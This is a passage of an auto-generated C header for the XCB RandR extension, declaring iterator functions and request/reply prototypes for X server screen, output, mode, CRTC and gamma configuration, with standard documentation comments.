xcb_randr_output_property_t op; xcb_randr_provider_change_t pc; xcb_randr_provider_property_t pp; xcb_randr_resource_change_t rc; xcb_randr_lease_notify_t lc; } xcb_randr_notify_data_t; /** * @brief xcb_randr_notify_data_iterator_t **/ typedef struct xcb_randr_notify_data_iterator_t { xcb_randr_notify_data_t *data; int rem; int index; } xcb_randr_notify_data_iterator_t; /** Opcode for xcb_randr_notify. */ #define XCB_RANDR_NOTIFY 1 /** * @brief xcb_randr_notify_event_t **/ typedef struct xcb_randr_notify_event_t { uint8_t response_type; uint8_t subCode; uint16_t sequence; xcb_randr_notify_data_t u; } xcb_randr_notify_event_t; /** * Get the next element of the iterator * @param i Pointer to a xcb_randr_mode_iterator_t * * Get the next element in the iterator. The member rem is * decreased by one. The member data points to the next * element. The member index is increased by sizeof(xcb_randr_mode_t) */ void xcb_randr_mode_next (xcb_randr_mode_iterator_t *i); /** * Return the iterator pointing to the last element * @param i An xcb_randr_mode_iterator_t * @return The iterator pointing to the last element * * Set the current element in the iterator to the last element. * The member rem is set to 0. The member data points to the * last element. */ xcb_generic_iterator_t xcb_randr_mode_end (xcb_randr_mode_iterator_t i); /** * Get the next element of the iterator * @param i Pointer to a xcb_randr_crtc_iterator_t * * Get the next element in the iterator. The member rem is * decreased by one. The member data points to the next * element. The member index is increased by sizeof(xcb_randr_crtc_t) */ void xcb_randr_crtc_next (xcb_randr_crtc_iterator_t *i); /** * Return the iterator pointing to the last element * @param i An xcb_randr_crtc_iterator_t * @return The iterator pointing to the last element * * Set the current element in the iterator to the last element. * The member rem is set to 0. The member data points to the * last element. */ xcb_generic_iterator_t xcb_randr_crtc_end (xcb_randr_crtc_iterator_t i); /** * Get the next element of the iterator * @param i Pointer to a xcb_randr_output_iterator_t * * Get the next element in the iterator. The member rem is * decreased by one. The member data points to the next * element. The member index is increased by sizeof(xcb_randr_output_t) */ void xcb_randr_output_next (xcb_randr_output_iterator_t *i); /** * Return the iterator pointing to the last element * @param i An xcb_randr_output_iterator_t * @return The iterator pointing to the last element * * Set the current element in the iterator to the last element. * The member rem is set to 0. The member data points to the * last element. */ xcb_generic_iterator_t xcb_randr_output_end (xcb_randr_output_iterator_t i); /** * Get the next element of the iterator * @param i Pointer to a xcb_randr_provider_iterator_t * * Get the next element in the iterator. The member rem is * decreased by one. The member data points to the next * element. The member index is increased by sizeof(xcb_randr_provider_t) */ void xcb_randr_provider_next (xcb_randr_provider_iterator_t *i); /** * Return the iterator pointing to the last element * @param i An xcb_randr_provider_iterator_t * @return The iterator pointing to the last element * * Set the current element in the iterator to the last element. * The member rem is set to 0. The member data points to the * last element. */ xcb_generic_iterator_t xcb_randr_provider_end (xcb_randr_provider_iterator_t i); /** * Get the next element of the iterator * @param i Pointer to a xcb_randr_lease_iterator_t * * Get the next element in the iterator. The member rem is * decreased by one. The member data points to the next * element. The member index is increased by sizeof(xcb_randr_lease_t) */ void xcb_randr_lease_next (xcb_randr_lease_iterator_t *i); /** * Return the iterator pointing to the last element * @param i An xcb_randr_lease_iterator_t * @return The iterator pointing to the last element * * Set the current element in the iterator to the last element. * The member rem is set to 0. The member data points to the * last element. */ xcb_generic_iterator_t xcb_randr_lease_end (xcb_randr_lease_iterator_t i); /** * Get the next element of the iterator * @param i Pointer to a xcb_randr_screen_size_iterator_t * * Get the next element in the iterator. The member rem is * decreased by one. The member data points to the next * element. The member index is increased by sizeof(xcb_randr_screen_size_t) */ void xcb_randr_screen_size_next (xcb_randr_screen_size_iterator_t *i); /** * Return the iterator pointing to the last element * @param i An xcb_randr_screen_size_iterator_t * @return The iterator pointing to the last element * * Set the current element in the iterator to the last element. * The member rem is set to 0. The member data points to the * last element. */ xcb_generic_iterator_t xcb_randr_screen_size_end (xcb_randr_screen_size_iterator_t i); int xcb_randr_refresh_rates_sizeof (const void *_buffer); uint16_t * xcb_randr_refresh_rates_rates (const xcb_randr_refresh_rates_t *R); int xcb_randr_refresh_rates_rates_length (const xcb_randr_refresh_rates_t *R); xcb_generic_iterator_t xcb_randr_refresh_rates_rates_end (const xcb_randr_refresh_rates_t *R); /** * Get the next element of the iterator * @param i Pointer to a xcb_randr_refresh_rates_iterator_t * * Get the next element in the iterator. The member rem is * decreased by one. The member data points to the next * element. The member index is increased by sizeof(xcb_randr_refresh_rates_t) */ void xcb_randr_refresh_rates_next (xcb_randr_refresh_rates_iterator_t *i); /** * Return the iterator pointing to the last element * @param i An xcb_randr_refresh_rates_iterator_t * @return The iterator pointing to the last element * * Set the current element in the iterator to the last element. * The member rem is set to 0. The member data points to the * last element. */ xcb_generic_iterator_t xcb_randr_refresh_rates_end (xcb_randr_refresh_rates_iterator_t i); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_randr_query_version_cookie_t xcb_randr_query_version (xcb_connection_t *c, uint32_t major_version, uint32_t minor_version); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_randr_query_version_cookie_t xcb_randr_query_version_unchecked (xcb_connection_t *c, uint32_t major_version, uint32_t minor_version); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_randr_query_version_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_randr_query_version_reply_t * xcb_randr_query_version_reply (xcb_connection_t *c, xcb_randr_query_version_cookie_t cookie /**< */, xcb_generic_error_t **e); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_randr_set_screen_config_cookie_t xcb_randr_set_screen_config (xcb_connection_t *c, xcb_window_t window, xcb_timestamp_t timestamp, xcb_timestamp_t config_timestamp, uint16_t sizeID, uint16_t rotation, uint16_t rate); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_randr_set_screen_config_cookie_t xcb_randr_set_screen_config_unchecked (xcb_connection_t *c, xcb_window_t window, xcb_timestamp_t timestamp, xcb_timestamp_t config_timestamp, uint16_t sizeID, uint16_t rotation, uint16_t rate); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_randr_set_screen_config_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_randr_set_screen_config_reply_t * xcb_randr_set_screen_config_reply (xcb_connection_t *c, xcb_randr_set_screen_config_cookie_t cookie /**< */, xcb_generic_error_t **e); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_randr_select_input_checked (xcb_connection_t *c, xcb_window_t window, uint16_t enable); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_randr_select_input (xcb_connection_t *c, xcb_window_t window, uint16_t enable); int xcb_randr_get_screen_info_sizeof (const void *_buffer); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_randr_get_screen_info_cookie_t xcb_randr_get_screen_info (xcb_connection_t *c, xcb_window_t window); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_randr_get_screen_info_cookie_t xcb_randr_get_screen_info_unchecked (xcb_connection_t *c, xcb_window_t window); xcb_randr_screen_size_t * xcb_randr_get_screen_info_sizes (const xcb_randr_get_screen_info_reply_t *R); int xcb_randr_get_screen_info_sizes_length (const xcb_randr_get_screen_info_reply_t *R); xcb_randr_screen_size_iterator_t xcb_randr_get_screen_info_sizes_iterator (const xcb_randr_get_screen_info_reply_t *R); int xcb_randr_get_screen_info_rates_length (const xcb_randr_get_screen_info_reply_t *R); xcb_randr_refresh_rates_iterator_t xcb_randr_get_screen_info_rates_iterator (const xcb_randr_get_screen_info_reply_t *R); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_randr_get_screen_info_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_randr_get_screen_info_reply_t * xcb_randr_get_screen_info_reply (xcb_connection_t *c, xcb_randr_get_screen_info_cookie_t cookie /**< */, xcb_generic_error_t **e); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_randr_get_screen_size_range_cookie_t xcb_randr_get_screen_size_range (xcb_connection_t *c, xcb_window_t window); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_randr_get_screen_size_range_cookie_t xcb_randr_get_screen_size_range_unchecked (xcb_connection_t *c, xcb_window_t window); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_randr_get_screen_size_range_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_randr_get_screen_size_range_reply_t * xcb_randr_get_screen_size_range_reply (xcb_connection_t *c, xcb_randr_get_screen_size_range_cookie_t cookie /**< */, xcb_generic_error_t **e); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_randr_set_screen_size_checked (xcb_connection_t *c, xcb_window_t window, uint16_t width, uint16_t height, uint32_t mm_width, uint32_t mm_height); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_randr_set_screen_size (xcb_connection_t *c, xcb_window_t window, uint16_t width, uint16_t height, uint32_t mm_width, uint32_t mm_height); /** * Get the next element of the iterator * @param i Pointer to a xcb_randr_mode_info_iterator_t * * Get the next element in the iterator. The member rem is * decreased by one. The member data points to the next * element. The member index is increased by sizeof(xcb_randr_mode_info_t) */ void xcb_randr_mode_info_next (xcb_randr_mode_info_iterator_t *i); /** * Return the iterator pointing to the last element * @param i An xcb_randr_mode_info_iterator_t * @return The iterator pointing to the last element * * Set the current element in the iterator to the last element. * The member rem is set to 0. The member data points to the * last element. */ xcb_generic_iterator_t xcb_randr_mode_info_end (xcb_randr_mode_info_iterator_t i); int xcb_randr_get_screen_resources_sizeof (const void *_buffer); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_randr_get_screen_resources_cookie_t xcb_randr_get_screen_resources (xcb_connection_t *c, xcb_window_t window); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_randr_get_screen_resources_cookie_t xcb_randr_get_screen_resources_unchecked (xcb_connection_t *c, xcb_window_t window); xcb_randr_crtc_t * xcb_randr_get_screen_resources_crtcs (const xcb_randr_get_screen_resources_reply_t *R); int xcb_randr_get_screen_resources_crtcs_length (const xcb_randr_get_screen_resources_reply_t *R); xcb_generic_iterator_t xcb_randr_get_screen_resources_crtcs_end (const xcb_randr_get_screen_resources_reply_t *R); xcb_randr_output_t * xcb_randr_get_screen_resources_outputs (const xcb_randr_get_screen_resources_reply_t *R); int xcb_randr_get_screen_resources_outputs_length (const xcb_randr_get_screen_resources_reply_t *R); xcb_generic_iterator_t xcb_randr_get_screen_resources_outputs_end (const xcb_randr_get_screen_resources_reply_t *R); xcb_randr_mode_info_t * xcb_randr_get_screen_resources_modes (const xcb_randr_get_screen_resources_reply_t *R); int xcb_randr_get_screen_resources_modes_length (const xcb_randr_get_screen_resources_reply_t *R); xcb_randr_mode_info_iterator_t xcb_randr_get_screen_resources_modes_iterator (const xcb_randr_get_screen_resources_reply_t *R); uint8_t * xcb_randr_get_screen_resources_names (const xcb_randr_get_screen_resources_reply_t *R); int xcb_randr_get_screen_resources_names_length (const xcb_randr_get_screen_resources_reply_t *R); xcb_generic_iterator_t xcb_randr_get_screen_resources_names_end (const xcb_randr_get_screen_resources_reply_t *R); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_randr_get_screen_resources_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_randr_get_screen_resources_reply_t * xcb_randr_get_screen_resources_reply (xcb_connection_t *c, xcb_randr_get_screen_resources_cookie_t cookie /**< */, xcb_generic_error_t **e); int xcb_randr_get_output_info_sizeof (const void *_buffer); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_randr_get_output_info_cookie_t xcb_randr_get_output_info (xcb_connection_t *c, xcb_randr_output_t output, xcb_timestamp_t config_timestamp); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_randr_get_output_info_cookie_t xcb_randr_get_output_info_unchecked (xcb_connection_t *c, xcb_randr_output_t output, xcb_timestamp_t config_timestamp); xcb_randr_crtc_t * xcb_randr_get_output_info_crtcs (const xcb_randr_get_output_info_reply_t *R); int xcb_randr_get_output_info_crtcs_length (const xcb_randr_get_output_info_reply_t *R); xcb_generic_iterator_t xcb_randr_get_output_info_crtcs_end (const xcb_randr_get_output_info_reply_t *R); xcb_randr_mode_t * xcb_randr_get_output_info_modes (const xcb_randr_get_output_info_reply_t *R); int xcb_randr_get_output_info_modes_length (const xcb_randr_get_output_info_reply_t *R); xcb_generic_iterator_t xcb_randr_get_output_info_modes_end (const xcb_randr_get_output_info_reply_t *R); xcb_randr_output_t * xcb_randr_get_output_info_clones (const xcb_randr_get_output_info_reply_t *R); int xcb_randr_get_output_info_clones_length (const xcb_randr_get_output_info_reply_t *R); xcb_generic_iterator_t xcb_randr_get_output_info_clones_end (const xcb_randr_get_output_info_reply_t *R); uint8_t * xcb_randr_get_output_info_name (const xcb_randr_get_output_info_reply_t *R); int xcb_randr_get_output_info_name_length (const xcb_randr_get_output_info_reply_t *R); xcb_generic_iterator_t xcb_randr_get_output_info_name_end (const xcb_randr_get_output_info_reply_t *R); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_randr_get_output_info_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_randr_get_output_info_reply_t * xcb_randr_get_output_info_reply (xcb_connection_t *c, xcb_randr_get_output_info_cookie_t cookie /**< */, xcb_generic_error_t **e); int xcb_randr_list_output_properties_sizeof (const void *_buffer); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_randr_list_output_properties_cookie_t xcb_randr_list_output_properties (xcb_connection_t *c, xcb_randr_output_t output); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_randr_list_output_properties_cookie_t xcb_randr_list_output_properties_unchecked (xcb_connection_t *c, xcb_randr_output_t output); xcb_atom_t * xcb_randr_list_output_properties_atoms (const xcb_randr_list_output_properties_reply_t *R); int xcb_randr_list_output_properties_atoms_length (const xcb_randr_list_output_properties_reply_t *R); xcb_generic_iterator_t xcb_randr_list_output_properties_atoms_end (const xcb_randr_list_output_properties_reply_t *R); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_randr_list_output_properties_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_randr_list_output_properties_reply_t * xcb_randr_list_output_properties_reply (xcb_connection_t *c, xcb_randr_list_output_properties_cookie_t cookie /**< */, xcb_generic_error_t **e); int xcb_randr_query_output_property_sizeof (const void *_buffer); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_randr_query_output_property_cookie_t xcb_randr_query_output_property (xcb_connection_t *c, xcb_randr_output_t output, xcb_atom_t property); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_randr_query_output_property_cookie_t xcb_randr_query_output_property_unchecked (xcb_connection_t *c, xcb_randr_output_t output, xcb_atom_t property); int32_t * xcb_randr_query_output_property_valid_values (const xcb_randr_query_output_property_reply_t *R); int xcb_randr_query_output_property_valid_values_length (const xcb_randr_query_output_property_reply_t *R); xcb_generic_iterator_t xcb_randr_query_output_property_valid_values_end (const xcb_randr_query_output_property_reply_t *R); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_randr_query_output_property_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_randr_query_output_property_reply_t * xcb_randr_query_output_property_reply (xcb_connection_t *c, xcb_randr_query_output_property_cookie_t cookie /**< */, xcb_generic_error_t **e); int xcb_randr_configure_output_property_sizeof (const void *_buffer, uint32_t values_len); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_randr_configure_output_property_checked (xcb_connection_t *c, xcb_randr_output_t output, xcb_atom_t property, uint8_t pending, uint8_t range, uint32_t values_len, const int32_t *values); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_randr_configure_output_property (xcb_connection_t *c, xcb_randr_output_t output, xcb_atom_t property, uint8_t pending, uint8_t range, uint32_t values_len, const int32_t *values); int32_t * xcb_randr_configure_output_property_values (const xcb_randr_configure_output_property_request_t *R); int xcb_randr_configure_output_property_values_length (const xcb_randr_configure_output_property_request_t *R); xcb_generic_iterator_t xcb_randr_configure_output_property_values_end (const xcb_randr_configure_output_property_request_t *R); int xcb_randr_change_output_property_sizeof (const void *_buffer); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_randr_change_output_property_checked (xcb_connection_t *c, xcb_randr_output_t output, xcb_atom_t property, xcb_atom_t type, uint8_t format, uint8_t mode, uint32_t num_units, const void *data); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_randr_change_output_property (xcb_connection_t *c, xcb_randr_output_t output, xcb_atom_t property, xcb_atom_t type, uint8_t format, uint8_t mode, uint32_t num_units, const void *data); void * xcb_randr_change_output_property_data (const xcb_randr_change_output_property_request_t *R); int xcb_randr_change_output_property_data_length (const xcb_randr_change_output_property_request_t *R); xcb_generic_iterator_t xcb_randr_change_output_property_data_end (const xcb_randr_change_output_property_request_t *R); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_randr_delete_output_property_checked (xcb_connection_t *c, xcb_randr_output_t output, xcb_atom_t property); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_randr_delete_output_property (xcb_connection_t *c, xcb_randr_output_t output, xcb_atom_t property); int xcb_randr_get_output_property_sizeof (const void *_buffer); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_randr_get_output_property_cookie_t xcb_randr_get_output_property (xcb_connection_t *c, xcb_randr_output_t output, xcb_atom_t property, xcb_atom_t type, uint32_t long_offset, uint32_t long_length, uint8_t _delete, uint8_t pending); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_randr_get_output_property_cookie_t xcb_randr_get_output_property_unchecked (xcb_connection_t *c, xcb_randr_output_t output, xcb_atom_t property, xcb_atom_t type, uint32_t long_offset, uint32_t long_length, uint8_t _delete, uint8_t pending); uint8_t * xcb_randr_get_output_property_data (const xcb_randr_get_output_property_reply_t *R); int xcb_randr_get_output_property_data_length (const xcb_randr_get_output_property_reply_t *R); xcb_generic_iterator_t xcb_randr_get_output_property_data_end (const xcb_randr_get_output_property_reply_t *R); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_randr_get_output_property_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_randr_get_output_property_reply_t * xcb_randr_get_output_property_reply (xcb_connection_t *c, xcb_randr_get_output_property_cookie_t cookie /**< */, xcb_generic_error_t **e); int xcb_randr_create_mode_sizeof (const void *_buffer, uint32_t name_len); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_randr_create_mode_cookie_t xcb_randr_create_mode (xcb_connection_t *c, xcb_window_t window, xcb_randr_mode_info_t mode_info, uint32_t name_len, const char *name); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_randr_create_mode_cookie_t xcb_randr_create_mode_unchecked (xcb_connection_t *c, xcb_window_t window, xcb_randr_mode_info_t mode_info, uint32_t name_len, const char *name); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_randr_create_mode_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_randr_create_mode_reply_t * xcb_randr_create_mode_reply (xcb_connection_t *c, xcb_randr_create_mode_cookie_t cookie /**< */, xcb_generic_error_t **e); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_randr_destroy_mode_checked (xcb_connection_t *c, xcb_randr_mode_t mode); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_randr_destroy_mode (xcb_connection_t *c, xcb_randr_mode_t mode); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_randr_add_output_mode_checked (xcb_connection_t *c, xcb_randr_output_t output, xcb_randr_mode_t mode); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_randr_add_output_mode (xcb_connection_t *c, xcb_randr_output_t output, xcb_randr_mode_t mode); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_randr_delete_output_mode_checked (xcb_connection_t *c, xcb_randr_output_t output, xcb_randr_mode_t mode); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_randr_delete_output_mode (xcb_connection_t *c, xcb_randr_output_t output, xcb_randr_mode_t mode); int xcb_randr_get_crtc_info_sizeof (const void *_buffer); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_randr_get_crtc_info_cookie_t xcb_randr_get_crtc_info (xcb_connection_t *c, xcb_randr_crtc_t crtc, xcb_timestamp_t config_timestamp); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_randr_get_crtc_info_cookie_t xcb_randr_get_crtc_info_unchecked (xcb_connection_t *c, xcb_randr_crtc_t crtc, xcb_timestamp_t config_timestamp); xcb_randr_output_t * xcb_randr_get_crtc_info_outputs (const xcb_randr_get_crtc_info_reply_t *R); int xcb_randr_get_crtc_info_outputs_length (const xcb_randr_get_crtc_info_reply_t *R); xcb_generic_iterator_t xcb_randr_get_crtc_info_outputs_end (const xcb_randr_get_crtc_info_reply_t *R); xcb_randr_output_t * xcb_randr_get_crtc_info_possible (const xcb_randr_get_crtc_info_reply_t *R); int xcb_randr_get_crtc_info_possible_length (const xcb_randr_get_crtc_info_reply_t *R); xcb_generic_iterator_t xcb_randr_get_crtc_info_possible_end (const xcb_randr_get_crtc_info_reply_t *R); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_randr_get_crtc_info_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_randr_get_crtc_info_reply_t * xcb_randr_get_crtc_info_reply (xcb_connection_t *c, xcb_randr_get_crtc_info_cookie_t cookie /**< */, xcb_generic_error_t **e); int xcb_randr_set_crtc_config_sizeof (const void *_buffer, uint32_t outputs_len); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_randr_set_crtc_config_cookie_t xcb_randr_set_crtc_config (xcb_connection_t *c, xcb_randr_crtc_t crtc, xcb_timestamp_t timestamp, xcb_timestamp_t config_timestamp, int16_t x, int16_t y, xcb_randr_mode_t mode, uint16_t rotation, uint32_t outputs_len, const xcb_randr_output_t *outputs); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_randr_set_crtc_config_cookie_t xcb_randr_set_crtc_config_unchecked (xcb_connection_t *c, xcb_randr_crtc_t crtc, xcb_timestamp_t timestamp, xcb_timestamp_t config_timestamp, int16_t x, int16_t y, xcb_randr_mode_t mode, uint16_t rotation, uint32_t outputs_len, const xcb_randr_output_t *outputs); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_randr_set_crtc_config_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_randr_set_crtc_config_reply_t * xcb_randr_set_crtc_config_reply (xcb_connection_t *c, xcb_randr_set_crtc_config_cookie_t cookie /**< */, xcb_generic_error_t **e); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_randr_get_crtc_gamma_size_cookie_t xcb_randr_get_crtc_gamma_size (xcb_connection_t *c, xcb_randr_crtc_t crtc); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_randr_get_crtc_gamma_size_cookie_t xcb_randr_get_crtc_gamma_size_unchecked (xcb_connection_t *c, xcb_randr_crtc_t crtc); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_randr_get_crtc_gamma_size_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_randr_get_crtc_gamma_size_reply_t * xcb_randr_get_crtc_gamma_size_reply (xcb_connection_t *c, xcb_randr_get_crtc_gamma_size_cookie_t cookie /**< */, xcb_generic_error_t **e); int xcb_randr_get_crtc_gamma_sizeof (const void *_buffer); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_randr_get_crtc_gamma_cookie_t xcb_randr_get_crtc_gamma (xcb_connection_t *c, xcb_randr_crtc_t crtc); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_randr_get_crtc_gamma_cookie_t xcb_randr_get_crtc_gamma_unchecked (xcb_connection_t *c, xcb_randr_crtc_t crtc); uint16_t * xcb_randr_get_crtc_gamma_red (const xcb_randr_get_crtc_gamma_reply_t *R); int xcb_randr_get_crtc_gamma_red_length (const xcb_randr_get_crtc_gamma_reply_t *R); xcb_generic_iterator_t xcb_randr_get_crtc_gamma_red_end (const xcb_randr_get_crtc_gamma_reply_t *R); uint16_t * xcb_randr_get_crtc_gamma_green (const xcb_randr_get_crtc_gamma_reply_t *R); int xcb_randr_get_crtc_gamma_green_length (const xcb_randr_get_crtc_gamma_reply_t *R); xcb_generic_iterator_t xcb_randr_get_crtc_gamma_green_end (const xcb_randr_get_crtc_gamma_reply_t *R); uint16_t * xcb_randr_get_crtc_gamma_blue (const xcb_randr_get_crtc_gamma_reply_t *R); int xcb_randr_get_crtc_gamma_blue_length (const xcb_randr_get_crtc_gamma_reply_t *R); xcb_generic_iterator_t xcb_randr_get_crtc_gamma_blue_end (const xcb_randr_get_crtc_gamma_reply_t *R); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_randr_get_crtc_gamma_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_randr_get_crtc_gamma_reply_t * xcb_randr_get_crtc_gamma_reply (xcb_connection_t *c, xcb_randr_get_crtc_gamma_cookie_t cookie /**< */, xcb_generic_error_t **e); int xcb_randr_set_crtc_gamma_sizeof (const void *_buffer); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_randr_set_crtc_gamma_checked (xcb_connection_t *c, xcb_randr_crtc_t crtc, uint16_t size, const uint16_t *red, const uint16_t *green, const uint16_t *blue); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t 